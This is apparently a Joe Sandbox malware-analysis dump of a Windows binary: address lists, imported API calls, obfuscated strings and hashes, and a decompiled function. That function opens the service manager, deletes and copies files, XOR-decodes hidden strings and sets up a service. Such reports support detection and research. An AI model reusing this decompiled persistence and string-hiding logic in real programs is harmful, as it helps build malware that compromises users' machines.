0x009861b8
0x009861c4
0x009861d7
0x009861e2
0x009861ed
0x009861f8
0x00986203
0x0098620e
0x0098621a
0x00986220
0x00986226
0x0098622a
0x00986238
0x0098622c
0x0098622c
0x0098622c
0x00986248
0x00986255
0x00986257
0x00986261
0x0098626d
0x0098626d
0x00986273
0x00986279
0x00986285
0x00986294
0x009862a0
0x009862ac
0x009862b2
0x009862bd
0x009862c8
0x009862d3
0x00000000
0x009862d3
0x00985955
0x00984025
0x00984026
0x0098402e
0x00984033
0x00984040
0x0098404b
0x0098404c
0x00984056
0x0098405e
0x00984066
0x0098406e
0x00984076
0x0098407e
0x0098408a
0x00984096
0x009840a2
0x009840ad
0x009840b7
0x009840c9
0x009840cf
0x009840da
0x009840e4
0x009840f6
0x009840fc
0x00984108
0x00984114
0x0098411f
0x00984129
0x00984134
0x0098413e
0x00984146
0x00984152
0x00984158
0x0098415f
0x0098416c
0x0098416f
0x00984176
0x0098417d
0x00984185
0x0098418c
0x00984199
0x009841a2
0x009841ae
0x009841ba
0x009841c6
0x009841d1
0x009841db
0x009841ed
0x009841f3
0x009841fe
0x00984208
0x0098421a
0x00984220
0x0098422c
0x00984237
0x00984241
0x0098424c
0x00984256
0x0098425e
0x0098426a
0x00984270
0x00984277
0x00984284
0x00984287
0x0098428e
0x00984295
0x0098429d
0x009842a4
0x009842b1
0x009842ba
0x009842d5
0x009842da
0x009842dd
0x009842e9
0x009842f5
0x009842f5
0x009842f8
0x009842fe
0x00984306
0x0098430c
0x00984313
0x00984313
0x00984328
0x00984334
0x00984340
0x0098435f
0x0098436b
0x0098437e
0x00984383
0x00984388
0x0098439d
0x009843a2
0x009843a7
0x009843b4
0x009843bf
0x009843c0
0x009843ce
0x009843d9
0x009843e0
0x009843e8
0x009843f0
0x009843fc
0x00984408
0x00984414
0x0098441f
0x00984429
0x0098443b
0x00984441
0x0098444c
0x00984456
0x00984468
0x0098446e
0x0098447a
0x00984485
0x0098448f
0x0098449a
0x009844a4
0x009844ac
0x009844b8
0x009844be
0x009844c5
0x009844d2
0x009844d5
0x009844dc
0x009844e3
0x009844eb
0x009844f2
0x009844f9
0x009844ff
0x00984508
0x0098451d
0x00984522
0x00984524
0x00984526
0x0098452b
0x00984531
0x00984534
0x0098453a
0x0098453f
0x00984545
0x00984551
0x00984557
0x00984560
0x00984566
0x0098456b
0x0098456f
0x0098457c
0x0098458f
0x00984597
0x0098459c
0x009845a4
0x009845aa
0x009845b0
0x009845b6
0x009845c2
0x009845c8
0x009845dc
0x009845de
0x009845e6
0x009845ee
0x009845fa
0x00984606
0x00984612
0x0098461d
0x00984627
0x00984639
0x0098463f
0x0098464a
0x00984654
0x00984666
0x0098466c
0x00984678
0x00984684
0x0098468f
0x00984699
0x009846a4
0x009846ae
0x009846b6
0x009846c2
0x009846c8
0x009846cf
0x009846dc
0x009846df
0x009846e6
0x009846ed
0x009846f5
0x009846fc
0x00984709
0x00984712
0x0098471e
0x0098472a
0x00984736
0x0098473c
0x00984742
0x00984746
0x00984754
0x00984748
0x00984748
0x00984748
0x00984764
0x00984771
0x00984773
0x0098477d
0x00984789
0x00984789
0x00984795
0x009847a1
0x009847bd
0x009847bf
0x009847cd
0x009847c1
0x009847c1
0x009847c1
0x009847dd
0x009847e5
0x009847ed
0x009847f5
0x009847fd
0x00984805
0x0098480d
0x00984819
0x00984825
0x00984831
0x0098483c
0x00984846
0x00984858
0x0098485e
0x00984869
0x00984873
0x00984885
0x0098488b
0x00984897
0x009848a3
0x009848ae
0x009848b8
0x009848c3
0x009848cd
0x009848d5
0x009848e1
0x009848e7
0x009848ee
0x009848fb
0x009848fe
0x00984905
0x0098490c
0x00984914
0x0098491b
0x00984928
0x00984931
0x00984947
0x00984953
0x0098495f
0x0098496b
0x00984976
0x00984980
0x00984992
0x00984998
0x009849a3
0x009849ad
0x009849bf
0x009849c5
0x009849d1
0x009849dd
0x009849e8
0x009849f2
0x009849fd
0x00984a07
0x00984a0f
0x00984a1b
0x00984a21
0x00984a28
0x00984a35
0x00984a38
0x00984a3f
0x00984a46
0x00984a4e
0x00984a55
0x00984a62
0x00984a6b
0x00984a7c
0x00984a88
0x00984a94
0x00984a94
0x00984a97
0x00984a9d
0x00984aa5
0x00984aab
0x00984ab2
0x00984ab2
0x00984ac7
0x00984ad3
0x00984adf
0x00984afe
0x00984b0a
0x00984b1d
0x00984b28
0x00984b4a
0x00984b55
0x00984b61
0x00984b6d
0x00984b6d
0x00984b70
0x00984b76
0x00984b7e
0x00984b84
0x00984b8b
0x00984b8b
0x00984ba0
0x00984bac
0x00984bb8
0x00984bd7
0x00984be3
0x00984be9
0x00984bf6
0x00984c01
0x00984c0c
0x00984c17
0x00984c22
0x00984c2d
0x00984c2e
0x00984c36
0x00984c3b
0x00984c3e
0x00984c43
0x00984c46
0x00984c4b
0x00984c51
0x00984c5d
0x00984c69
0x00984c6c
0x00984c72
0x00984c77
0x00984c7b
0x00984c88
0x00984c8f
0x00984c91
0x00984c97
0x00984ca4
0x00984cb0
0x00984cbc
0x00984cc8
0x00984cce
0x00984cd4
0x00984cd8
0x00984ce6
0x00984cda
0x00984cda
0x00984cda
0x00984cf6
0x00984d03
0x00984d05
0x00984d0f
0x00984d1b
0x00984d1b
0x00984d27
0x00984d33
0x00984d3f
0x00984d4b
0x00984d57
0x00984d5d
0x00984d63
0x00984d67
0x00984d75
0x00984d69
0x00984d69
0x00984d69
0x00984d85
0x00984d92
0x00984d94
0x00984d9e
0x00984daa
0x00984daa
0x00984db6
0x00984dc2
0x00984dce
0x00984dcf
0x00984dd8
0x00984ddf
0x00984de6
0x00984de7
0x00984df2
0x00984df4
0x00984dfc
0x00984e04
0x00984e0c
0x00984e18
0x00984e24
0x00984e30
0x00984e36
0x00984e3c
0x00984e40
0x00984e4e
0x00984e42
0x00984e42
0x00984e42
0x00984e5e
0x00984e6b
0x00984e6d
0x00984e77
0x00984e83
0x00984e83
0x00984e8f
0x00984e9b
0x00984ea7
0x00984eb3
0x00984ebf
0x00984eca
0x00984ed4
0x00984ee6
0x00984eec
0x00984ef7
0x00984f01
0x00984f13
0x00984f19
0x00984f25
0x00984f31
0x00984f3c
0x00984f46
0x00984f51
0x00984f5b
0x00984f61
0x00984f63
0x00984f6f
0x00984f75
0x00984f7c
0x00984f89
0x00984f8c
0x00984f93
0x00984f9a
0x00984fa2
0x00984fa9
0x00984fb6
0x00984fbf
0x00984fdb
0x00984fdb
0x00984fe7
0x00984fec
0x00984ff2
0x00984ffd
0x00985008
0x00000000
0x00985008
0x009845d0
0x009845d6
0x00000000
0x00000000
0x00000000
0x009845d6
0x009833ea
0x009833fe
0x00983400
0x00983408
0x00983410
0x0098341c
0x00983428
0x00983434
0x0098343f
0x00983449
0x0098345b
0x00983461
0x0098346c
0x00983476
0x00983488
0x0098348e
0x00983499
0x009834a3
0x009834b5
0x009834bb
0x009834c6
0x009834d0
0x009834e2
0x009834e8
0x009834f3
0x009834fd
0x0098350f
0x00983515
0x00983520
0x0098352a
0x0098353c
0x00983542
0x0098354e
0x00983559
0x00983563
0x0098356e
0x00983578
0x00983583
0x0098358d
0x00983598
0x009835a2
0x009835ad
0x009835b7
0x009835c2
0x009835cc
0x009835d4
0x009835e0
0x009835e6
0x009835ed
0x009835fa
0x009835fd
0x00983604
0x0098360b
0x00983613
0x0098361a
0x00983627
0x00983633
0x00983639
0x00983640
0x0098364d
0x00983650
0x00983657
0x0098365e
0x00983666
0x0098366d
0x0098367a
0x00983686
0x0098368c
0x00983693
0x009836a0
0x009836a3
0x009836aa
0x009836b1
0x009836b9
0x009836c0
0x009836cd
0x009836d6
0x009836e2
0x009836ee
0x009836ee
0x009836f1
0x009836f7
0x009836ff
0x00983705
0x0098370c
0x0098370c
0x0098371b
0x0098371b
0x00983721
0x0098372d
0x00983739
0x00983753
0x00000000
0x00983753
0x009833f2
0x009833f8
0x00000000
0x00000000
0x00000000
0x009833f8

APIs

Part of subcall function 009B5345: GetSystemTimeAsFileTime.KERNEL32(?), ref: 009B535A
Part of subcall function 009B5345: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 009B5379

LoadLibraryA.KERNEL32(?), ref: 009829D6
LoadLibraryA.KERNEL32(?), ref: 00982B19
__aulldiv.LIBCMT ref: 00982C31
Sleep.KERNEL32(?,?,?,?,?,?,?,00000051,00000000,00000006,00000000), ref: 00982C55
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00982E06
GetUserNameA.ADVAPI32(?,00000104), ref: 00982E3A
DeleteFileA.KERNEL32(?), ref: 00983193
__aulldiv.LIBCMT ref: 0098339B

Part of subcall function 00973CC0: SHGetFolderPathA.SHELL32(00000000,00000000), ref: 00973D56

Part of subcall function 00972730: __aulldiv.LIBCMT ref: 009727B2

Part of subcall function 00981810: OpenSCManagerA.SECHOST(00000000,00000000,000F003F,9FEF24BF), ref: 00981869
Part of subcall function 00981810: DeleteFileA.KERNEL32(?), ref: 00981966

Part of subcall function 00973CC0: __aulldiv.LIBCMT ref: 00973E4E

ShellExecuteA.SHELL32(00000000,?,?,00000000,00000000,00000001), ref: 00984FDB
WinExec.KERNEL32 ref: 00985946
WinExec.KERNEL32 ref: 00986294

Part of subcall function 00981060: StartServiceCtrlDispatcherA.ADVAPI32(?), ref: 00981166

Strings

Ia(|, xrefs: 009840AD
b(f5, xrefs: 009828E0
5a(|, xrefs: 009849E8
5a(|, xrefs: 00982D16
FM=, xrefs: 00985AAD
5a(|, xrefs: 00983559
5a(|, xrefs: 0098326A
5a(|, xrefs: 00982A89
5a(|, xrefs: 00984237
ia(|, xrefs: 00984976
5a(|, xrefs: 00985558
C+`, xrefs: 009834C1
5a(|, xrefs: 00983A2A
ia(|, xrefs: 00983AF2
5a(|, xrefs: 009853C2
5a(|, xrefs: 00984485
BR, xrefs: 009841CC
b(f4, xrefs: 00982A23
5a(|, xrefs: 0098468F
5a(|, xrefs: 0098411F
GB0, xrefs: 0098515F
5a(|, xrefs: 0098305D
5a(|, xrefs: 009851A4
5a(|, xrefs: 00982946
5a(|, xrefs: 00985AF2
5a(|, xrefs: 00985EA6
5a(|, xrefs: 00984F3C
5a(|, xrefs: 00983B64
5a(|, xrefs: 00982EF8
5a(|, xrefs: 0098380B
5a(|, xrefs: 00985D10
5a(|, xrefs: 009848AE

Memory Dump Source

Source File: 00000010.00000002.633206172.0000000000971000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00970000, based on PE: true

Associated: 00000010.00000002.633144208.0000000000970000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635236414.00000000009C7000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635714395.00000000009D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.635816366.00000000009D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_970000_ze5tCopHgrlItmsTQGIZcUK1.jbxd

Similarity

API ID: File__aulldiv$DeleteExecLibraryLoadNameTime$CtrlDispatcherExecuteFolderManagerModuleOpenPathServiceShellSleepStartSystemUnothrow_t@std@@@User__ehfuncinfo$??2@
String ID: 5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$5a(|$BR$C+`$FM=$GB0$Ia(|$b(f4$b(f5$ia(|$ia(|
API String ID: 1121067755-229550868
Opcode ID: 771067b9939d68a3b7ba5b4ab6281eda60d10e95da50115746a01fb2427f73ed
Instruction ID: 4ac8e11a2f460e8cc30417b51872a367afda2330280163653367ad6a84057d06
Opcode Fuzzy Hash: 771067b9939d68a3b7ba5b4ab6281eda60d10e95da50115746a01fb2427f73ed
Instruction Fuzzy Hash: 9D73D0B4D096A88BDB65CB28CC91BDABBB1AF99305F0481DAD44CA3251EB305FC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00981810 Relevance: 28.8, APIs: 11, Strings: 5, Instructions: 786
servicefileCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00981810(void* __edi, void* __esi) {
				intOrPtr _v8;
				int _v16;
				char _v24;
				signed int _v32;
				char _v300;
				intOrPtr _v304;
				intOrPtr _v308;
				intOrPtr _v312;
				intOrPtr _v316;
				intOrPtr _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				intOrPtr _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				intOrPtr _v344;
				intOrPtr _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				intOrPtr _v360;
				intOrPtr _v364;
				intOrPtr _v368;
				intOrPtr _v372;
				intOrPtr _v376;
				intOrPtr _v380;
				intOrPtr _v384;
				intOrPtr _v388;
				intOrPtr _v392;
				intOrPtr _v396;
				intOrPtr _v400;
				intOrPtr _v404;
				intOrPtr _v408;
				intOrPtr _v412;
				long _v416;
				char _v440;
				char _v464;
				signed char _v465;
				signed int _v466;
				signed char _v467;
				signed char _v468;
				signed char _v469;
				char _v470;
				char _v471;
				char _v472;
				char _v473;
				char _v474;
				char _v475;
				char _v476;
				char _v477;
				signed int _v478;
				signed int _v479;
				char _v480;
				char _v481;
				char _v482;
				char _v483;
				char _v484;
				char _v485;
				char _v486;
				char _v487;
				signed char _v488;
				signed char _v489;
				char _v490;
				char _v491;
				char _v492;
				char _v493;
				signed char _v494;
				signed char _v495;
				signed char _v496;
				char* _v500;
				void* _v504;
				char _v508;
				signed char _v509;
				char _v516;
				char _v520;
				char _v524;
				char _v528;
				char _v532;
				char _v536;
				char _v540;
				char _v544;
				char _v548;
				char _v552;
				intOrPtr* _v556;
				char* _v560;
				intOrPtr* _v564;
				void* _v568;
				char _v572;
				intOrPtr* _v576;
				void* _v580;
				void* _v584;
				char* _v588;
				char* _v592;
				void* _v596;
				void* _v600;
				char* _v604;
				intOrPtr* _v608;
				char _v612;
				char _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				void* _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				int _v660;
				CHAR* _v664;
				int _v668;
				signed int _v672;
				CHAR* _v676;
				CHAR* _v680;
				void* _v684;
				signed int _v688;
				int _v692;
				char* _v696;
				int _v700;
				char* _v704;
				intOrPtr _v708;
				intOrPtr _v712;
				char* _v716;
				char* _v720;
				char* _v724;
				char* _v728;
				int _v732;
				intOrPtr _v736;
				int _v740;
				intOrPtr _v744;
				int _v748;
				CHAR* _v752;
				int _v756;
				intOrPtr _v760;
				int _v764;
				CHAR* _v768;
				CHAR* _v772;
				intOrPtr _v776;
				intOrPtr _v780;
				intOrPtr _v784;
				intOrPtr _v788;
				char* _v792;
				intOrPtr _v796;
				CHAR* _v800;
				intOrPtr _v804;
				signed int _v808;
				char* _v812;
				intOrPtr _v816;
				intOrPtr _v820;
				intOrPtr _v824;
				intOrPtr _v828;
				intOrPtr _v832;
				intOrPtr _v836;
				intOrPtr _v840;
				intOrPtr _v844;
				intOrPtr* _v848;
				intOrPtr _v852;
				char* _v856;
				intOrPtr _v860;
				char* _v864;
				intOrPtr _v868;
				intOrPtr _v872;
				CHAR* _v876;
				intOrPtr _v880;
				intOrPtr _v888;
				intOrPtr _v892;
				intOrPtr _v896;
				char _v900;
				intOrPtr _v904;
				intOrPtr _v908;
				intOrPtr _v912;
				intOrPtr _v916;
				intOrPtr _v920;
				intOrPtr _v924;
				intOrPtr _v928;
				intOrPtr _v932;
				intOrPtr _v936;
				char _v940;
				intOrPtr _v944;
				intOrPtr _v948;
				intOrPtr _v952;
				intOrPtr _v960;
				intOrPtr _v964;
				intOrPtr _v968;
				char _v972;
				intOrPtr _v976;
				intOrPtr _v980;
				intOrPtr _v984;
				char _v988;
				intOrPtr _v992;
				intOrPtr _v996;
				intOrPtr _v1000;
				char _v1004;
				intOrPtr _v1008;
				intOrPtr _v1012;
				intOrPtr _v1016;
				intOrPtr _v1024;
				intOrPtr _v1028;
				intOrPtr _v1032;
				char _v1036;
				intOrPtr _v1040;
				intOrPtr _v1044;
				intOrPtr _v1048;
				char _v1052;
				intOrPtr _v1056;
				intOrPtr _v1060;
				intOrPtr _v1064;
				char _v1068;
				intOrPtr _v1072;
				intOrPtr _v1076;
				intOrPtr _v1080;
				char _v1084;
				intOrPtr _v1088;
				intOrPtr _v1092;
				intOrPtr _v1096;
				intOrPtr _v1100;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				intOrPtr _v1116;
				intOrPtr _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				char _v1132;
				char* _v1136;
				intOrPtr _v1140;
				char* _v1144;
				intOrPtr _v1148;
				char* _v1152;
				intOrPtr _v1156;
				CHAR* _v1160;
				CHAR* _v1164;
				char* _v1168;
				intOrPtr _v1172;
				char _v1492;
				char _v1572;
				char _v1596;
				void* __ebx;
				signed int _t493;
				signed int _t494;
				void* _t496;
				void* _t497;
				signed char _t504;
				int _t512;
				intOrPtr _t544;
				signed char _t595;
				void* _t603;
				void* _t616;
				intOrPtr _t757;
				void* _t815;
				signed int _t818;
				void* _t819;
				void* _t822;
				intOrPtr _t823;
				void* _t824;
				void* _t826;
				intOrPtr _t827;
				void* _t828;

				_t810 = __esi;
				_t809 = __edi;
				_t616 = _t815;
				_t818 = (_t815 - 0x00000008 & 0xfffffff0) + 4;
				_v8 =  *((intOrPtr*)(_t616 + 4));
				_t813 = _t818;
				_push(0xffffffff);
				_push(0x9c51cc);
				_push( *[fs:0x0]);
				_push(_t616);
				_t819 = _t818 - 0x620;
				_t493 =  *0x9d2008; // 0x9fef24bf
				_t494 = _t493 ^ _t818;
				_v32 = _t494;
				_push(_t494);
				 *[fs:0x0] =  &_v24;
				_v688 = 0;
				_v16 = 0;
				_t496 = OpenSCManagerA(0, 0, 0xf003f); // executed
				_v504 = _t496;
				if(_v504 == 0) {
					L61:
					_v16 = 0xffffffff;
					_t497 = E00971AB0(_t616 + 8);
					 *[fs:0x0] = _v24;
					return E009AC2E8(_t497, _t616, _v32 ^ _t813, _t725, _t809, _t810);
				} else {
					_push(1);
					_push( &_v440); // executed
					E00981180(__edi, __esi); // executed
					_t822 = _t819 + 8;
					_v16 = 1;
					_v556 =  &_v440;
					_v736 = _v556;
					if( *((intOrPtr*)(_v556 + 0x14)) < 0x10) {
						_v732 = 0;
					} else {
						_v732 = 1;
					}
					_v488 = _v732;
					if((_v488 & 0x000000ff) != 0) {
						_v816 =  *_v556;
						_v736 = _v816;
					}
					_v952 = _v736;
					_v880 = _v952;
					_t823 = _t822 - 0x18;
					_v1156 = _t823;
					E00971810(_t823, _v880); // executed
					_t504 = E00973950(_t809, _t810); // executed
					_t824 = _t823 + 0x18;
					_v489 = _t504;
					if((_v489 & 0x000000ff) != 0) {
						_v876 = E00971E10( &_v440);
						if(DeleteFileA(_v876) == 0) {
							_v490 = 0;
							_v491 = 0;
							_v493 = 0;
							_v548 = _v490;
							_v552 = _v491;
							_v572 = _v493;
							_v940 = 0x18440e6a;
							_v936 = 0x8b69332d;
							_v1052 = _v940;
							_v1048 = _v936;
							_v948 = 0x89f9ef3a;
							_v944 = 0xc7f6786c;
							_v1044 = _v948;
							_v1040 = _v944;
							_v560 =  &_v1052;
							_v316 = 0x7c286135;
							_v312 = 0x8b69332d;
							_v308 = 0x89f9ef3a;
							_v304 = 0xc7f6786c;
							_v477 = 0;
							_v612 = _v477;
							asm("movaps xmm0, [ebp-0x130]");
							asm("movaps [ebp-0x5b0], xmm0");
							asm("movups xmm0, [ecx]");
							asm("movaps [ebp-0x5a0], xmm0");
							asm("movaps xmm0, [ebp-0x5a0]");
							asm("pxor xmm0, [ebp-0x5b0]");
							asm("movaps [ebp-0x5e0], xmm0");
							asm("movaps xmm0, [ebp-0x5e0]");
							asm("movups [edx], xmm0");
							_v872 = _v560;
							E00988D40(_t616, _t809, _t810,  &_v464,  &_v440, _v872);
							_t826 = _t824 + 0xc;
							_v16 = 2;
							_v564 =  &_v464;
							_v744 = _v564;
							if( *((intOrPtr*)(_v564 + 0x14)) < 0x10) {
								_v740 = 0;
							} else {
								_v740 = 1;
							}
							_v494 = _v740;
							if((_v494 & 0x000000ff) != 0) {
								_v868 =  *_v564;
								_v744 = _v868;
							}
							_v1008 = _v744;
							_v1012 = _v1008;
							_t827 = _t826 - 0x18;
							_v1148 = _t827;
							E00971810(_t827, _v1012);
							_t595 = E00973950(_t809, _t810);
							_t828 = _t827 + 0x18;
							_v495 = _t595;
							if((_v495 & 0x000000ff) != 0) {
								_v568 =  &_v464;
								_v752 = _v568;
								if( *((intOrPtr*)(_v568 + 0x14)) < 0x10) {
									_v748 = 0;
								} else {
									_v748 = 1;
								}
								_v496 = _v748;
								if((_v496 & 0x000000ff) != 0) {
									_v1016 =  *_v568;
									_v752 = _v1016;
								}
								_v768 = _v752;
								_v772 = _v768;
								DeleteFileA(_v772);
							}
							_v652 = _v1140;
							_v608 =  &_v464;
							_v760 = _v608;
							if( *((intOrPtr*)(_v608 + 0x14)) < 0x10) {
								_v756 = 0;
							} else {
								_v756 = 1;
							}
							_v465 = _v756;
							if((_v465 & 0x000000ff) != 0) {
								_v776 =  *_v608;
								_v760 = _v776;
							}
							_v780 = _v760;
							_v652 = _v780;
							_v656 = _v1172;
							_v576 =  &_v440;
							_v648 = _v576;
							if( *((intOrPtr*)(_v576 + 0x14)) < 0x10) {
								_v764 = 0;
							} else {
								_v764 = 1;
							}
							_v466 = _v764;
							_t842 = _v466 & 0x000000ff;
							if((_v466 & 0x000000ff) != 0) {
								_v784 =  *_v576;
								_v648 = _v784;
							}
							_v788 = _v648;
							_v656 = _v788;
							_t603 = E009B3729(_v652, _v656, _t842, _v656, _v652);
							_t824 = _t828 + 8;
							if(_t603 == 0) {
								_v792 =  &_v464;
								if(_t616 + 8 != _v792) {
									_v467 = 0;
									_push(_v467 & 0x000000ff);
									E00987B70(_t616 + 8,  &_v464);
								}
							}
							_v16 = 1;
							E00971AB0( &_v464);
						}
					}
					_v676 = _v1164;
					_v580 =  &_v440;
					_v664 = _v580;
					if( *((intOrPtr*)(_v580 + 0x14)) < 0x10) {
						_v660 = 0;
					} else {
						_v660 = 1;
					}
					_v468 = _v660;
					if((_v468 & 0x000000ff) != 0) {
						_v796 =  *_v580;
						_v664 = _v796;
					}
					_v800 = _v664;
					_v676 = _v800;
					_v680 = _v1160;
					_v584 = _t616 + 8;
					_v672 = _v584;
					if( *((intOrPtr*)(_v584 + 0x14)) < 0x10) {
						_v668 = 0;
					} else {
						_v668 = 1;
					}
					_v469 = _v668;
					if((_v469 & 0x000000ff) != 0) {
						_v804 =  *_v584;
						_v672 = _v804;
					}
					_v808 = _v672;
					_t725 = _v808;
					_v680 = _v808;
					_t512 = CopyFileA(_v680, _v676, 0); // executed
					if(_t512 != 0) {
						_t725 =  *0x9d356c & 0x000000ff;
						if(( *0x9d356c & 0x000000ff) != 0) {
							_v470 = 0;
							_v471 = 0;
							_v472 = 0;
							_v616 = _v470;
							_v620 = _v471;
							_v624 = _v472;
							_v1004 = 0x195f0e65;
							_v1000 = 0xe506705f;
							_v1068 = _v1004;
							_v1064 = _v1000;
							_v964 = 0xe5969d4e;
							_v960 = 0xc7f6786c;
							_v1060 = _v964;
							_v1056 = _v960;
							_v588 =  &_v1068;
							_v380 = 0x7c286135;
							_v376 = 0x8b69332d;
							_v372 = 0x89f9ef3a;
							_v368 = 0xc7f6786c;
							_v473 = 0;
							_v628 = _v473;
							asm("movaps xmm0, [ebp-0x170]");
							asm("movaps [ebp-0x600], xmm0");
							asm("movups xmm0, [edx]");
							asm("movaps [ebp-0x5f0], xmm0");
							asm("movaps xmm0, [ebp-0x5f0]");
							asm("pxor xmm0, [ebp-0x600]");
							asm("movaps [ebp-0x4a0], xmm0");
							asm("movaps xmm0, [ebp-0x4a0]");
							asm("movups [eax], xmm0");
							_v812 = _v588;
							_t725 = _v812;
							_v684 = OpenServiceA(_v504, _v812, 4);
							if(_v684 == 0) {
								_v416 = 0x104;
								E009ADBB0(_t809,  &_v300, 0, 0x104);
								GetUserNameA( &_v300,  &_v416);
								_v474 = 0;
								_v475 = 0;
								_v476 = 0;
								_v480 = 0;
								_v481 = 0;
								_v482 = 0;
								_v484 = 0;
								_v485 = 0;
								_v486 = 0;
								_v820 = E00971810( &_v1572,  &_v300);
								_v824 = _v820;
								_v16 = 3;
								_v840 = _v824;
								_v632 = _v474;
								_v636 = _v475;
								_v640 = _v476;
								_v972 = 0x7c283d1b;
								_v968 = 0x8b69332d;
								_v1036 = _v972;
								_v1032 = _v968;
								_v980 = 0x89f9ef3a;
								_v976 = 0xc7f6786c;
								_v1028 = _v980;
								_v1024 = _v976;
								_v592 =  &_v1036;
								_v396 = 0x7c286135;
								_v392 = 0x8b69332d;
								_v388 = 0x89f9ef3a;
								_v384 = 0xc7f6786c;
								_v492 = 0;
								_v508 = _v492;
								asm("movaps xmm0, [ebp-0x180]");
								asm("movaps [ebp-0x4c0], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x4b0], xmm0");
								asm("movaps xmm0, [ebp-0x4b0]");
								asm("pxor xmm0, [ebp-0x4c0]");
								asm("movaps [ebp-0x4d0], xmm0");
								asm("movaps xmm0, [ebp-0x4d0]");
								asm("movups [edx], xmm0");
								_v828 = _v592;
								_v832 = E00971810( &_v1596, _v828);
								_v836 = _v832;
								_v16 = 4;
								_v844 = _v836;
								E0098B240(_t616,  &_v1492, _t809, _t810, _v509 & 0x000000ff, _v844, _v840);
								_v688 = _v688 | 0x00000002;
								_v848 =  &_v1492;
								_v716 = _v1152;
								_v596 = _v848;
								_v696 = _v596;
								_t544 = _v596;
								__eflags =  *((intOrPtr*)(_t544 + 0x14)) - 0x10;
								if( *((intOrPtr*)(_t544 + 0x14)) < 0x10) {
									_v692 = 0;
								} else {
									_v692 = 1;
								}
								_v478 = _v692;
								__eflags = _v478 & 0x000000ff;
								if((_v478 & 0x000000ff) != 0) {
									_v852 =  *_v596;
									_v696 = _v852;
								}
								_v856 = _v696;
								_v716 = _v856;
								_v720 = _v1136;
								_v600 =  &_v440;
								_v704 = _v600;
								_t757 = _v600;
								__eflags =  *((intOrPtr*)(_t757 + 0x14)) - 0x10;
								if( *((intOrPtr*)(_t757 + 0x14)) < 0x10) {
									_v700 = 0;
								} else {
									_v700 = 1;
								}
								_v479 = _v700;
								__eflags = _v479 & 0x000000ff;
								if((_v479 & 0x000000ff) != 0) {
									_v860 =  *_v600;
									_v704 = _v860;
								}
								_v864 = _v704;
								_v720 = _v864;
								_v516 = _v480;
								_v520 = _v481;
								_v524 = _v482;
								_v988 = 0x195f0e65;
								_v984 = 0xe404135f;
								_v1132 = _v988;
								_v1128 = _v984;
								_v996 = 0xe68d8654;
								_v992 = 0xa098111e;
								_v1124 = _v996;
								_v1120 = _v992;
								_v924 = 0xe4866317;
								_v920 = 0x4da83999;
								_v1116 = _v924;
								_v1112 = _v920;
								_v932 = 0xa7853fac;
								_v928 = 0x3b25ff06;
								_v1108 = _v932;
								_v1104 = _v928;
								_v916 = 0x5a3cba0b;
								_v912 = 0xf3706d7;
								_v1100 = _v916;
								_v1096 = _v912;
								_v908 = 0x750aa820;
								_v904 = 0x7e44d310;
								_v1092 = _v908;
								_v1088 = _v904;
								_v500 =  &_v1132;
								_v724 = _v1144;
								_v364 = 0x7c286135;
								_v360 = 0x8b69332d;
								_v356 = 0x89f9ef3a;
								_v352 = 0xc7f6786c;
								_v348 = 0x96e31037;
								_v344 = 0x28cb50ef;
								_v340 = 0xd5ea598c;
								_v336 = 0x4e4a8626;
								_v332 = 0x3f589a79;
								_v328 = 0x6a546fa1;
								_v324 = 0x750aa80e;
								_v320 = 0x7e44d310;
								_v483 = 0;
								_v528 = _v483;
								asm("movaps xmm0, [ebp-0x160]");
								asm("movaps [ebp-0x4f0], xmm0");
								asm("movups xmm0, [edx]");
								asm("movaps [ebp-0x4e0], xmm0");
								asm("movaps xmm0, [ebp-0x4e0]");
								asm("pxor xmm0, [ebp-0x4f0]");
								asm("movaps [ebp-0x500], xmm0");
								asm("movaps xmm0, [ebp-0x500]");
								asm("movups [eax], xmm0");
								_v708 = _v500 + 0x10;
								asm("movaps xmm0, [ebp-0x150]");
								asm("movaps [ebp-0x520], xmm0");
								asm("movups xmm0, [edx]");
								asm("movaps [ebp-0x510], xmm0");
								asm("movaps xmm0, [ebp-0x510]");
								asm("pxor xmm0, [ebp-0x520]");
								asm("movaps [ebp-0x530], xmm0");
								asm("movaps xmm0, [ebp-0x530]");
								asm("movups [eax], xmm0");
								_v712 = _v500 + 0x20;
								asm("movaps xmm0, [ebp-0x140]");
								asm("movaps [ebp-0x550], xmm0");
								asm("movups xmm0, [edx]");
								asm("movaps [ebp-0x540], xmm0");
								asm("movaps xmm0, [ebp-0x540]");
								asm("pxor xmm0, [ebp-0x550]");
								asm("movaps [ebp-0x560], xmm0");
								asm("movaps xmm0, [ebp-0x560]");
								asm("movups [eax], xmm0");
								_v724 = _v500;
								_v532 = _v484;
								_v536 = _v485;
								_v540 = _v486;
								_v900 = 0x195f0e65;
								_v896 = 0xe506705f;
								_v1084 = _v900;
								_v1080 = _v896;
								_v892 = 0xe5969d4e;
								_v888 = 0xc7f6786c;
								_v1076 = _v892;
								_v1072 = _v888;
								_v604 =  &_v1084;
								_v728 = _v1168;
								_v412 = 0x7c286135;
								_v408 = 0x8b69332d;
								_v404 = 0x89f9ef3a;
								_v400 = 0xc7f6786c;
								_v487 = 0;
								_v544 = _v487;
								asm("movaps xmm0, [ebp-0x190]");
